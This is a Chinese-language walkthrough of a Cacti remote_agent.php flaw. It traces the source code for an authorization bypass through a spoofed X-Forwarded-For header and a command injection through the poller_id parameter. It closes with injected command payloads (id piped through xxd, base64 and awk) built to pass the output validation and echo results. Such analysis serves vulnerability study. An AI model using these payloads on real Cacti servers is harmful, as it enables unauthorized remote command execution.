部署环境:我是通过docker直接部署的。
这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP
的采集器。所以,我们在Cacti后台首页创建一个新的Graph:
分析代码
一
在绕过的第一步就是绕过
if (!remote_client_authorized()) {
print 'FATAL: You are not authorized to use this service';
exit;
}
如果这个函数返回false就会进入这个if语句里面然后直接退出,所以我们需要这个函数返回的值为ture。
remote_client_authorized()
function remote_client_authorized() {
global $poller_db_cnn_id;
/* don't allow to run from the command line */
$client_addr = get_client_addr();
if ($client_addr === false) {
return false;
}
if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote agent client IP Address. Exiting');
return false;
}
$client_name = gethostbyaddr($client_addr);
if ($client_name == $client_addr) {
cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
} else {
$client_name = remote_agent_strip_domain($client_name);
}
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
if (cacti_sizeof($pollers)) {
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
}
cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");
return false;
}
在这段代码中首先会获取一个全局的poller_db_cnn_id
然后获取get_client_addr():客户端的ip(我们可以通过X-ForWarded-for来进行修改)
if ($client_addr === false) {
return false;
}判断是不是存在?
if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote agent client IP Address. Exiting');
return false;
}判断是不是正确的一个IP
$client_name = gethostbyaddr($client_addr);获取ip的name
if ($client_name == $client_addr) {
cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
} else {
$client_name = remote_agent_strip_domain($client_name);
}
判断client_name与alient_addr是否相等
其中有一个判断函数remote_agent_strip_domain
如果是相当的就会拼接NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM
不相等就会改变$client的值通过remote_agent_strip_domain
remote_agent_strip_domain
这就是remote_agent_strip_domain函数
function remote_agent_strip_domain($host) {
if (strpos($host, '.') !== false) {
$parts = explode('.', $host);
return $parts[0];
} else {
return $host;
}
}
它就是用来判断这个host是否有字符.如果有就是返回第一个(如127.0.0.1)返回127
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
它是用来获取数据库中的poller表
我们来看看获取的是什么
if (cacti_sizeof($pollers)) {
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
判断$pollers是否获取到值,然后循环的来判断使用到了remote_agent_strip_domain函数然后来判断$client_nname是否等于hostname,第二个if条件是$poller['hostname']是否等于$client_addr(ip)如果满足其中任意一个条件就可以跳出继续执行。
我通过print_r的方式来打印出关键的数据如
$client_addr
$client_name
通过抓包的方式来进行查看
抓包的时候出现了一点问题。在我细心的查看之后发现我在get传入参数的时候在HTTP/1.1的签名多敲了一些空格,所以导致失败。
这下就打印出了$client_addr和$client_name
可以看出他们的值分别为:127.0.0.1和localhost所以可以得出返回的true,所以绕过了第一个,程序可以接着进行。
下一步
二
switch (get_request_var('action')) {
case 'polldata':
// Only let realtime polling run for a short time
ini_set('max_execution_time', read_config_option('script_timeout'));
debug('Start: Poling Data for Realtime');
poll_for_data();
debug('End: Poling Data for Realtime');
break;
case 'runquery':
debug('Start: Running Data Query');
run_remote_data_query();
debug('End: Running Data Query');
break;
case 'ping':
debug('Start: Pinging Device');
ping_device();
debug('End: Pinging Device');
break;
case 'snmpget':
debug('Start: Performing SNMP Get Request');
get_snmp_data();
debug('End: Performing SNMP Get Request');
break;
case 'snmpwalk':
debug('Start: Performing SNMP Walk Request');
get_snmp_data_walk();
debug('End: Performing SNMP Walk Request');
break;
case 'graph_json':
debug('Start: Performing Graph Request');
get_graph_data();
debug('End: Performing Graph Request');
break;
case 'discover':
debug('Start:Performing Network Discovery Request');
run_remote_discovery();
debug('End:Performing Network Discovery Request');
break;
default:
if (!api_plugin_hook_function('remote_agent', get_request_var('action'))) {
debug('WARNING: Unknown Agent Request');
print 'Unknown Agent Request';
}
}
然后就是通过swith来接收参数action
当cation为polldata的时候进入第一个case在这一case中有一个函数叫poll_for_data
poll_for_data
function poll_for_data() {
global $config;
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id');
$return = array();
$i = 0;
if (cacti_sizeof($local_data_ids)) {
foreach($local_data_ids as $local_data_id) {
input_validate_input_number($local_data_id);
$items = db_fetch_assoc_prepared('SELECT *
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?',
array($host_id, $local_data_id));
$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?
AND action = 2',
array($host_id, $local_data_id));
if (cacti_sizeof($items)) {
foreach($items as $item) {
switch ($item['action']) {
case POLLER_ACTION_SNMP: /* snmp */
if (($item['snmp_version'] == 0) || (($item['snmp_community'] == '') && ($item['snmp_version'] != 3))) {
$output = 'U';
} else {
$host = db_fetch_row_prepared('SELECT ping_retries, max_oids FROM host WHERE hostname = ?', array($item['hostname']));
$session = cacti_snmp_session($item['hostname'], $item['snmp_community'], $item['snmp_version'],
$item['snmp_username'], $item['snmp_password'], $item['snmp_auth_protocol'], $item['snmp_priv_passphrase'],
$item['snmp_priv_protocol'], $item['snmp_context'], $item['snmp_engine_id'], $item['snmp_port'],
$item['snmp_timeout'], $host['ping_retries'], $host['max_oids']);
if ($session === false) {
$output = 'U';
} else {
$output = cacti_snmp_session_get($session, $item['arg1']);
$session->close();
}
if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}
$output = 'U';
}
}
$return[$i]['value'] = $output;
$return[$i]['rrd_name'] = $item['rrd_name'];
$return[$i]['local_data_id'] = $local_data_id;
break;
case POLLER_ACTION_SCRIPT: /* script (popen) */
$output = trim(exec_poll($item['arg1']));
if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}
$output = 'U';
}
$return[$i]['value'] = $output;
$return[$i]['rrd_name'] = $item['rrd_name'];
$return[$i]['local_data_id'] = $local_data_id;
break;
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
$cactides = array(
0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
2 => array('pipe', 'w') // stderr is a pipe to write to
);
if (function_exists('proc_open')) {
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
$output = fgets($pipes[1], 1024);
$using_proc_function = true;
} else {
$using_proc_function = false;
}
if ($using_proc_function == true) {
$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));
if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}
$output = 'U';
}
} else {
$output = 'U';
}
$return[$i]['value'] = $output;
$return[$i]['rrd_name'] = $item['rrd_name'];
$return[$i]['local_data_id'] = $local_data_id;
if (($using_proc_function == true) && ($script_server_calls > 0)) {
/* close php server process */
fwrite($pipes[0], "quit\r\n");
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_value = proc_close($cactiphp);
}
break;
}
$i++;
}
}
}
}
print json_encode($return);
}
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id');
$return = array();
在这个函数中要先从请求中获取三个参数:$local_data_ids、$host_id、$poller_id
他们都是通过get或者request获取。然后设置$return为数组。
我们传入的$local_dada_ids是[0]=6然后$host_id=1
if (cacti_sizeof($local_data_ids)) { //判断是否有值
foreach($local_data_ids as $local_data_id) { //通过for循环取出$loacl_data_ids:6
input_validate_input_number($local_data_id); //判断是不是数字(1肯定是数字)
$items = db_fetch_assoc_prepared('SELECT *
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?',
array($host_id, $local_data_id));
//我们看一下这个究竟查询的是什么?$items的值为:
$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?
AND action = 2',
array($host_id, $local_data_id));
$script_server_calls的值为:
这段代码就是判断之前接收的$items判断是不是存在,
然后for循环的去除$items中的值然后判断其中的action的值是什么,action的值为2
所以在下面的case中就是执行第三个(0、1、2)
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
$cactides = array(
0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
2 => array('pipe', 'w') // stderr is a pipe to write to
);
if (function_exists('proc_open')) {
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
$output = fgets($pipes[1], 1024);
$using_proc_function = true;
} else {
$using_proc_function = false;
}
if ($using_proc_function == true) {
$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));
if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}
$output = 'U';
}
} else {
$output = 'U';
}
$return[$i]['value'] = $output;
$return[$i]['rrd_name'] = $item['rrd_name'];
$return[$i]['local_data_id'] = $local_data_id;
if (($using_proc_function == true) && ($script_server_calls > 0)) {
/* close php server process */
fwrite($pipes[0], "quit\r\n");
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_value = proc_close($cactiphp);
}
break;
}
$cactides = array(
0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
2 => array('pipe', 'w') // stderr is a pipe to write to
);
管道输入:
0---标准输入
1---标志输出
2---标志错误输出
然后判断proc_open是否为空
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
//
函数read_config_option()
function read_config_option($config_name, $force = false) {
global $config, $database_hostname, $database_default, $database_port, $database_sessions;
$loaded = false;
if ($config['is_web']) {
$sess = true;
if (isset($_SESSION['sess_config_array'][$config_name])) {
$loaded = true;
}
} else {
$sess = false;
if (isset($config['config_options_array'][$config_name])) {
$loaded = true;
}
}
if (!empty($config['DEBUG_READ_CONFIG_OPTION'])) {
file_put_contents(sys_get_temp_dir() . '/cacti-option.log', get_debug_prefix() . cacti_debug_backtrace($config_name, false, false, 0, 1) . "\n", FILE_APPEND);
}
// Do we have a value already stored in the array, or
// do we want to make sure we have the latest value
// from the database?
if (!$loaded || $force) {
// We need to check against the DB, but lets assume default value
// unless we can actually read the DB
$value = read_default_config_option($config_name);
if (!empty($config['DEBUG_READ_CONFIG_OPTION'])) {
file_put_contents(sys_get_temp_dir() . '/cacti-option.log', get_debug_prefix() .
" $config_name: " .
' dh: ' . isset($database_hostname) .
' dp: ' . isset($database_port) .
' dd: ' . isset($database_default) .
' ds: ' . isset($database_sessions["$database_hostname:$database_port:$database_default"]) .
"\n", FILE_APPEND);
if (isset($database_hostname) && isset($database_port) && isset($database_default)) {
file_put_contents(sys_get_temp_dir() . '/cacti-option.log', get_debug_prefix() .
" $config_name: [$database_hostname:$database_port:$database_default]\n", FILE_APPEND);
}
}
// Are the database variables set, and do we have a connection??
// If we don't, we'll only use the default value without storing
// so that we can read the database version later.
if (isset($database_hostname) && isset($database_port) && isset($database_default) &&
isset($database_sessions["$database_hostname:$database_port:$database_default"])) {
// Get the database setting
$db_result = db_fetch_row_prepared('SELECT value FROM settings WHERE name = ?', array($config_name));
if (cacti_sizeof($db_result)) {
$value = $db_result['value'];
}
// Store whatever value we have in the array
if ($sess) {
if (!isset($_SESSION['sess_config_array']) || !is_array($_SESSION['sess_config_array'])) {
$_SESSION['sess_config_array'] = array();
}
$_SESSION['sess_config_array'][$config_name] = $value;
} else {
if (!isset($config['config_options_array']) || !is_array($config['config_options_array'])) {
$config['config_options_array'] = array();
}
$config['config_options_array'][$config_name] = $value;
}
}
} else {
// We already have the value stored in the array and
// we don't want to force a db read, so use the cached
// version
if ($sess) {
$value = $_SESSION['sess_config_array'][$config_name];
} else {
$value = $config['config_options_array'][$config_name];
}
}
return $value;
}
用来获取php代码执行路径想让它去执行,然后进行拼接列如:
拼接-p
$config['base_path']//用来获取根路径
拼接/script_server.php 传入的是 (realtime)
再拼接$poller_id, $cactides, $pipes
如(/usr/local/bin/php -q script_server.php realtime `touch /tmp/success`)
命令执行先执行/usr/local/bin/php -q script_server.php realtime
再执行(/usr/local/bin/php -q script_server.php realtime `touch /tmp/success`)
但是没有返回
$output = fgets($pipes[1], 1024); //$output取值就是标志输出1024(第一行)
$using_proc_function = true; 返回true
当proc_open不存在的时候$using_proc_function返回false
最终 $return[$i]['value'] = $output;
output赋值给return
最后json字符串的encode
print json_encode($return);
但是我们这个命令行肯定是大于一行的所以没有回显。
怎么样才会有回显
当$using_proc_function为true时会进入if语句
if ($using_proc_function == true) {
$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));
if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}
$output = 'U';
}
} else {
$output = 'U';
}
对output进行了一个拼接
里面有一个函数read_config_option
read_config_option
unction exec_poll_php($command, $using_proc_function, $pipes, $proc_fd) {
global $config;
$output = '';
/* execute using php process */
if ($using_proc_function == 1) {
if (is_resource($proc_fd)) {
/* $pipes now looks like this:
* 0 => writeable handle connected to child stdin
* 1 => readable handle connected to child stdout
* 2 => any error output will be sent to child stderr */
/* send command to the php server */
fwrite($pipes[0], $command . "\r\n");
fflush($pipes[0]);
$output = fgets($pipes[1], 8192);
if (substr_count($output, 'ERROR') > 0) {
$output = 'U';
}
}
/* execute the old fashion way */
} else {
/* formulate command */
$command = read_config_option('path_php_binary') . ' ' . $command;
if (function_exists('popen')) {
if ($config['cacti_server_os'] == 'unix') {
$fp = popen($command, 'r');
} else {
$fp = popen($command, 'rb');
}
/* return if the popen command was not successful */
if (!is_resource($fp)) {
cacti_log('WARNING; Problem with POPEN command.', false, 'POLLER');
return 'U';
}
$output = fgets($fp, 8192);
pclose($fp);
} else {
$output = `$command`;
}
}
return $output;
}
因为传入的$using_proc_function是true所以$using_proc_function的值是1
直接进入
if (is_resource($proc_fd)) {
/* $pipes now looks like this:
* 0 => writeable handle connected to child stdin
* 1 => readable handle connected to child stdout
* 2 => any error output will be sent to child stderr */
/* send command to the php server */
fwrite($pipes[0], $command . "\r\n");
fflush($pipes[0]);
$output = fgets($pipes[1], 8192);
if (substr_count($output, 'ERROR') > 0) {
$output = 'U';
}
}
判断 $proc_fd也就是传入的$cactiphp也就是刚才拼接的
(/usr/local/bin/php -q script_server.php realtime `touch /tmp/success`)其中也有传入的id
output其中不出错,这时候返回的output是8行(8192)
if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}
$output = 'U';
}
我需要绕过这个if不然output的值就会变成U失去回显的8行
查看其中的函数prepare_validate_result
prepare_validate_result
function prepare_validate_result(&$result) {
/* first trim the string */
$result = trim($result, "'\"\n\r");
/* clean off ugly non-numeric data */
if (is_numeric($result)) {
dsv_log('prepare_validate_result','data is numeric');
return true;
} elseif ($result == 'U') {
dsv_log('prepare_validate_result', 'data is U');
return true;
} elseif (is_hexadecimal($result)) {
dsv_log('prepare_validate_result', 'data is hex');
return hexdec($result);
} elseif (substr_count($result, ':') || substr_count($result, '!')) {
/* looking for name value pairs */
if (substr_count($result, ' ') == 0) {
dsv_log('prepare_validate_result', 'data has no spaces');
return true;
} else {
$delim_cnt = 0;
if (substr_count($result, ':')) {
$delim_cnt = substr_count($result, ':');
} elseif (strstr($result, '!')) {
$delim_cnt = substr_count($result, '!');
}
$space_cnt = substr_count(trim($result), ' ');
dsv_log('prepare_validate_result', "data has $space_cnt spaces and $delim_cnt fields which is " . (($space_cnt+1 == $delim_cnt) ? 'NOT ' : '') . ' okay');
return ($space_cnt+1 == $delim_cnt);
}
} else {
$result = strip_alpha($result);
if ($result === false) {
$result = 'U';
return false;
} else {
return true;
}
}
}
先做了一个换行符的一个去掉,判断字符串是数字,字符,十六进制?为十六进制的时候直接返回输出。
substr_count($result, ':') || substr_count($result, '!')如果任意一边的表达式结果为"真"(非零),整个表达式就返回 true
下面的if语句判断这个字符串是否有空格如果没有就直接返回ture直接绕过
只要返回ture那么就是绕过了
函数is_hexadecimal
is_hexadecimal()
function is_hexadecimal($result) {
$hexstr = str_replace(array(' ', '-'), ':', trim($result));
$parts = explode(':', $hexstr);
foreach($parts as $part) {
if (strlen($part) != 2) {
return false;
}
if (ctype_xdigit($part) == false) {
return false;
}
}
return true;
}
将空格分号都替换成了" : ",而且是两个两个的如(12:34:56:78)
答案
id | xxd -p -c 1|awk '{printf \ "%s \", $0}'";解决十六进制" : "的
id | base64 -w0";
id | base64 -w0|awk -v OPS=':' '{print $0}'";
完成